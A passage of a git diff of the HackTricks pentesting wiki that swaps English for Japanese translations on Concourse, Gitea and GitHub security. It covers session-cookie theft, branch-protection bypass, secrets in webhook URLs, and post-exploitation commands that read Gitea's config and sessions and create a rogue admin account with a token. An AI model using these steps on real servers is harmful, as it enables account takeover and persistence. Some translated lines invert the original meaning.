にアクセスして、パイプラインのフローを確認してください。 -Check **127.0.0.1:8080** to see the pipeline flow. +### 出力/入力パイプラインを持つBashスクリプト -### Bash script with output/input pipeline +**1つのタスクの結果をファイルに保存**し、それを出力として示し、次のタスクの入力を前のタスクの出力として示すことが可能です。Concourseが行うことは、**前のタスクのディレクトリを新しいタスクにマウントし、前のタスクによって作成されたファイルにアクセスできるようにすることです**。 -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +### トリガー -### Triggers +ジョブを手動で毎回トリガーする必要はなく、毎回実行されるようにプログラムすることもできます： -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +- しばらく時間が経過したとき: [Time resource](https://github.com/concourse/time-resource/) +- メインブランチへの新しいコミット時: [Git resource](https://github.com/concourse/git-resource) +- 新しいPR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- アプリの最新イメージを取得またはプッシュ: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) - -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +[https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) で、マスターへの新しいコミットでトリガーされるYAMLパイプラインの例を確認してください。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..119be7b15 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -2,141 +2,129 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Giteaとは -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea**は**自己ホスト型のコミュニティ管理の軽量コードホスティング**ソリューションで、Goで書かれています。 ![](<../../images/image (160).png>) -### Basic Information +### 基本情報 {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## ラボ +Giteaインスタンスをローカルで実行するには、単にdockerコンテナを実行するだけです： ```bash docker run -p 3000:3000 gitea/gitea ``` +ポート3000に接続してウェブページにアクセスします。 -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +Kubernetesで実行することもできます： ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## 認証されていない列挙 -## Unauthenticated Enumeration +- 公開リポジトリ: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- 登録ユーザー: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- 登録組織: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに対して特に興味深いアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。 -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## 内部悪用 -## Internal Exploitation +このシナリオでは、あなたがgithubアカウントへのアクセスを取得したと仮定します。 -For this scenario we are going to suppose that you have obtained some access to a github account. +### ユーザー資格情報/ウェブクッキーを使用して -### With User Credentials/Web Cookie +もしあなたが組織内のユーザーの資格情報を何らかの方法で持っている場合（またはセッションクッキーを盗んだ場合）、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +**2FAが使用される可能性がある**ため、そのチェックを**通過できる**場合にのみ、この情報にアクセスできることに注意してください。 > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> `i_like_gitea`クッキーを**盗むことに成功した場合**（現在SameSite: Laxで設定されています）、資格情報や2FAを必要とせずに**ユーザーを完全に偽装**できます。 -### With User SSH Key +### ユーザーSSHキーを使用して -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Giteaは**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます（2FAは適用されません）。 +このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +ユーザーが自分のgiteaユーザー名としてユーザー名を設定している場合、_https://github.com/\.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。 -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が鍵に関連する情報を提供します。 -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG鍵 -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。 +現在のユーザーが鍵を持っているかどうかをローカルで確認してください: ```shell gpg --list-secret-keys --keyid-format=long ``` - ### With User Token -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +[**ユーザートークンについての基本情報を確認してください**](basic-gitea-information.md#personal-access-tokens)の紹介。 -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +ユーザートークンは、Giteaサーバーに**対して認証するために**、**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス権**を持ちます。 ### With Oauth Application -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +[**Gitea Oauthアプリケーションについての基本情報を確認してください**](./#with-oauth-application)の紹介。 -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスするかもしれません。 -As explained in the basic information, the application will have **full access over the user account**. +基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス権**を持ちます。 ### Branch Protection Bypass -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +Githubには、デフォルトでリポジトリに**書き込みアクセス権を持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護を回避**できます。この場合、**存在しない**ため、回避策はより制限されます。しかし、何ができるか見てみましょう： -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +- **プッシュを有効にする**: 書き込みアクセス権を持つ誰かがブランチにプッシュできる場合、単にプッシュします。 +- **制限されたプッシュをホワイトリストに追加**: 同様に、このリストの一部であればブランチにプッシュします。 +- **マージホワイトリストを有効にする**: マージホワイトリストがある場合、その中にいる必要があります。 +- **承認が0より大きいことを要求**: それなら...別のユーザーを妥協させる必要があります。 +- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合...そのリストにいる別のユーザーを妥協させる必要があります。 +- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージできます。 -Note that **if you are an org/repo admin** you can bypass the protections. +**あなたが組織/リポジトリの管理者である場合**、保護を回避できることに注意してください。 ### Enumerate Webhooks -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +**Webhooks**は、**特定のgitea情報をいくつかの場所に送信することができます**。その通信を**悪用できるかもしれません**。\ +しかし、通常、**秘密**は**webhook**に設定されており、URLを知っている外部ユーザーが**そのwebhookを悪用するのを防ぎます**。\ +しかし、時には、秘密をその場所に設定する代わりに、**URLにパラメータとして設定する**人もいるため、**URLを確認することで**秘密や他の悪用できる場所を**見つけることができるかもしれません**。 -Webhooks can be set at **repo and at org level**. +Webhooksは**リポジトリと組織レベル**で設定できます。 ## Post Exploitation ### Inside the server -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは`/data/gitea/conf/app.ini`にあります。 -In this file you can find **keys** and **passwords**. +このファイルには**キー**や**パスワード**が含まれています。 -In the gitea path (by default: /data/gitea) you can find also interesting information like: +giteaのパス（デフォルト：/data/gitea）には、次のような興味深い情報も見つかります： -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +- **sqlite** DB: giteaが外部DBを使用していない場合、sqlite DBを使用します。 +- **セッション**フォルダー内の**セッション**: `cat sessions/*/*/*`を実行すると、ログインしているユーザーのユーザー名を見ることができます（giteaはDB内にセッションを保存することもあります）。 +- **jwtフォルダー内のjwtプライベートキー** +- このフォルダー内にはさらに**機密情報**が見つかる可能性があります。 -If you are inside the server you can also **use the `gitea` binary** to access/modify information: +サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更できます**： -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump`はgiteaをダンプし、.zipファイルを生成します。 +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は指定されたタイプのトークンを生成します（永続性）。 +- `gitea admin user change-password --username admin --password newpassword` パスワードを変更します。 +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい管理ユーザーを作成し、アクセストークンを取得します。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..e13f375d6 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,104 +4,100 @@ ## Basic Structure -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織の外にリポジトリを持つことができます。 -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +さらに、**ユーザー**は**異なる組織のメンバー**であることができます。組織内では、ユーザーは**各リポジトリに対して異なる権限**を持つことがあります。 -A user may also be **part of different teams** with different permissions over different repos. +ユーザーはまた、異なるリポジトリに対して異なる権限を持つ**異なるチームの一員**であることもできます。 -And finally **repositories may have special protection mechanisms**. +最後に、**リポジトリには特別な保護メカニズム**がある場合があります。 ## Permissions ### Organizations -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +**組織が作成されると**、**Owners**というチームが**作成され**、ユーザーがその中に入れられます。このチームは**組織に対する管理者アクセス**を提供し、その**権限**と**チームの名前**は**変更できません**。 -**Org admins** (owners) can select the **visibility** of the organization: +**Org admins**（オーナー）は、組織の**可視性**を選択できます： -- Public -- Limited (logged in users only) -- Private (members only) +- 公開 +- 限定（ログインユーザーのみ） +- 非公開（メンバーのみ） -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Org admins**は、**リポジトリ管理者**が**チームのアクセスを追加または削除**できるかどうかも示すことができます。また、最大リポジトリ数を示すこともできます。 -When creating a new team, several important settings are selected: +新しいチームを作成する際には、いくつかの重要な設定が選択されます： -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- チームのメンバーがアクセスできる**組織のリポジトリ**が示されます：特定のリポジトリ（チームが追加されたリポジトリ）またはすべて。 +- **メンバーが新しいリポジトリを作成できるかどうか**も示されます（作成者はそのリポジトリに管理者アクセスを得ます）。 +- リポジトリの**メンバーが持つ**権限： +- **管理者**アクセス +- **特定の**アクセス： ![](<../../images/image (118).png>) ### Teams & Users -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +リポジトリ内で、**org admin**と**リポジトリ管理者**（組織によって許可されている場合）は、コラボレーター（他のユーザー）やチームに与えられた役割を**管理**できます。可能な**役割**は**3**つです： -- Administrator -- Write -- Read +- 管理者 +- 書き込み +- 読み取り ## Gitea Authentication ### Web Access -Using **username + password** and potentially (and recommended) a 2FA. +**ユーザー名 + パスワード**を使用し、可能であれば（推奨）2FAを使用します。 ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +アカウントを1つまたは複数の公開鍵で構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できるようにします。** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +これらの鍵でユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +アプリケーションにあなたのアカウントへの**アクセスを与えるための個人アクセストークンを生成できます**。個人アクセストークンはあなたのアカウントに対する完全なアクセスを提供します：[http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) ### Oauth Applications -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +個人アクセストークンと同様に、**Oauthアプリケーション**はあなたのアカウントとあなたのアカウントがアクセスできる場所に対して**完全なアクセス**を持ちます。なぜなら、[docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes)に示されているように、スコープはまだサポートされていないからです： ![](<../../images/image (194).png>) ### Deploy keys -Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos. +デプロイキーはリポジトリに対して読み取り専用または書き込みアクセスを持つことができるため、特定のリポジトリを侵害するのに興味深いかもしれません。 ## Branch Protections -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**いくつかの保護方法を設けて、特定のブランチにコードを書くことができるようにすること**です。 -The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_ +**リポジトリのブランチ保護**は、_https://localhost:3000/\/\/settings/branches_で見つけることができます。 > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> 組織レベルでブランチ保護を設定することは**できません**。したがって、すべての保護は各リポジトリで宣言する必要があります。 -Different protections can be applied to a branch (like to master): +ブランチに適用できるさまざまな保護（マスターに適用する場合など）： -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **プッシュを無効にする**：誰もこのブランチにプッシュできません +- **プッシュを有効にする**：アクセス権のある誰でもプッシュできますが、強制プッシュはできません。 +- **ホワイトリスト制限プッシュを有効にする**：選択されたユーザー/チームのみがこのブランチにプッシュできます（ただし、強制プッシュはできません） +- **マージホワイトリストを有効にする**：ホワイトリストに登録されたユーザー/チームのみがPRをマージできます。 +- **ステータスチェックを有効にする**：マージする前にステータスチェックが通過することを要求します。 +- **承認を要求する**：PRをマージする前に必要な承認の数を示します。 +- **ホワイトリストに制限された承認**：PRを承認できるユーザー/チームを示します。 +- **拒否されたレビューでのマージをブロックする**：変更が要求された場合、マージできません（他のチェックが通過しても）。 +- **公式レビューリクエストでのマージをブロックする**：公式レビューリクエストがある場合、マージできません。 +- **古い承認を無効にする**：新しいコミットがあると、古い承認は無効になります。 +- **署名されたコミットを要求する**：コミットは署名されなければなりません。 +- **プルリクエストが古くなった場合はマージをブロックする** +- **保護された/保護されていないファイルパターン**：変更から保護/保護解除するファイルのパターンを示します。 > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> ご覧のとおり、ユーザーの資格情報を取得できた場合でも、**リポジトリが保護されているため、マスターにコードをプッシュすることを避けることができます**。たとえば、CI/CDパイプラインを侵害するために。 {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..a7a3d96a1 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) 高いレベルで、**GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです**。 ### Basic Information @@ -14,19 +14,19 @@ basic-github-information.md ## External Recon -Github repositories can be configured as public, private and internal. +Githubリポジトリは、公開、非公開、内部として設定できます。 -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **非公開**は、**組織**の人々だけがアクセスできることを意味します。 +- **内部**は、**エンタープライズ**の人々（エンタープライズは複数の組織を持つことがあります）だけがアクセスできることを意味します。 +- **公開**は、**全インターネット**がアクセスできることを意味します。 -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +**ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合**、**github dorks**を使用して、機密情報を見つけたり、**各リポジトリでの機密情報の漏洩**を検索できます。 ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Githubは、**ユーザー、リポジトリ、または組織をスコープとして指定して何かを検索することを許可します**。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の**潜在的な機密情報を簡単に検索できます**。 -Tools (each tool contains its list of dorks): +ツール（各ツールにはそのdorkのリストが含まれています）： - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) @@ -34,9 +34,9 @@ Tools (each tool contains its list of dorks): ### Github Leaks -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、**各リポジトリをダウンロードし、その中で機密情報を検索する**ツールに専念しています（特定のコミットの深さをチェックすることも含まれます）。 -Tools (each tool contains its list of regexes): +ツール（各ツールにはその正規表現のリストが含まれています）： - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際、**秘密を含む他のコミットがある他のブランチ**が存在する可能性があることを忘れないでください！ ### External Forks -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +**プルリクエストを悪用してリポジトリを妥協する**ことが可能です。リポジトリが脆弱かどうかを知るには、主にGithub Actionsのyaml設定を読む必要があります。[**この下に詳細があります**](./#execution-from-a-external-fork)。 ### Github Leaks in deleted/internal forks -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +削除されたり内部のものであっても、githubリポジトリのフォークから機密データを取得することが可能な場合があります。ここで確認してください： {{#ref}} accessible-deleted-data-in-github.md @@ -65,184 +65,172 @@ accessible-deleted-data-in-github.md ### Member Privileges -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +組織の**メンバー**に割り当てることができる**デフォルトの権限**があります。これらは、ページ`https://github.com/organizations//settings/member_privileges`または[**Organizations API**](https://docs.github.com/en/rest/orgs/orgs)から制御できます。 -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **基本的な権限**: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨は**None**または**Read**です。 +- **リポジトリのフォーク**: 必要でない場合、メンバーが組織のリポジトリをフォークすることを**許可しない方が良い**です。 +- **ページの作成**: 必要でない場合、メンバーが組織のリポジトリからページを公開することを**許可しない方が良い**です。必要な場合は、公開または非公開のページを作成することを許可できます。 +- **統合アクセス要求**: これを有効にすると、外部のコラボレーターがこの組織とそのリソースにアクセスするためのGitHubまたはOAuthアプリへのアクセスを要求できるようになります。通常は必要ですが、必要でない場合は無効にする方が良いです。 +- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ +- **リポジトリの可視性の変更**: 有効にすると、**リポジトリ**に対して**管理者**権限を持つ**メンバー**が**可視性を変更できる**ようになります。無効にすると、組織のオーナーのみがリポジトリの可視性を変更できます。人々に**公開**にすることを望まない場合は、これを**無効**にしてください。 +- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ +- **リポジトリの削除と転送**: 有効にすると、リポジトリに対して**管理者**権限を持つメンバーが**公開および非公開のリポジトリを削除**または**転送**できるようになります。 +- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ +- **メンバーがチームを作成することを許可**: 有効にすると、組織の**メンバー**は新しい**チームを作成**できるようになります。無効にすると、組織のオーナーのみが新しいチームを作成できます。これを無効にしておく方が良いです。 +- _この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。_ +- **このページで他の設定も可能ですが、前述のものが最もセキュリティに関連しています。** ### Actions Settings -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +アクションに関するいくつかのセキュリティ関連の設定は、ページ`https://github.com/organizations//settings/actions`から設定できます。 > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> これらの設定は、各リポジトリでも独立して設定できることに注意してください。 -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Githubアクションポリシー**: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるべきかを指定できます。**許可されるリポジトリを指定する**ことを推奨し、すべてのアクションが実行されることを許可しない方が良いです。 +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **外部コラボレーターからのフォークプルリクエストワークフロー**: すべての外部コラボレーターに対して**承認を要求する**ことを推奨します。 +- _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ +- **フォークプルリクエストからのワークフローの実行**: プルリクエストからのワークフローを実行することは非常に**推奨されません**。フォーク元のメンテナーにソースリポジトリの読み取り権限を持つトークンを使用する能力が与えられるためです。 +- _この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。_ +- **ワークフローの権限**: **リポジトリの読み取り権限のみを付与する**ことを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みおよびプルリクエストの作成/承認権限を与えることは推奨されません。 +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations -_Let me know if you know the API endpoint to access this info!_ +_この情報にアクセスするためのAPIエンドポイントを知っている場合は教えてください！_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **サードパーティアプリケーションアクセスポリシー**: すべてのアプリケーションへのアクセスを制限し、必要なもののみを許可することを推奨します（レビュー後）。 +- **インストールされたGitHubアプリ**: 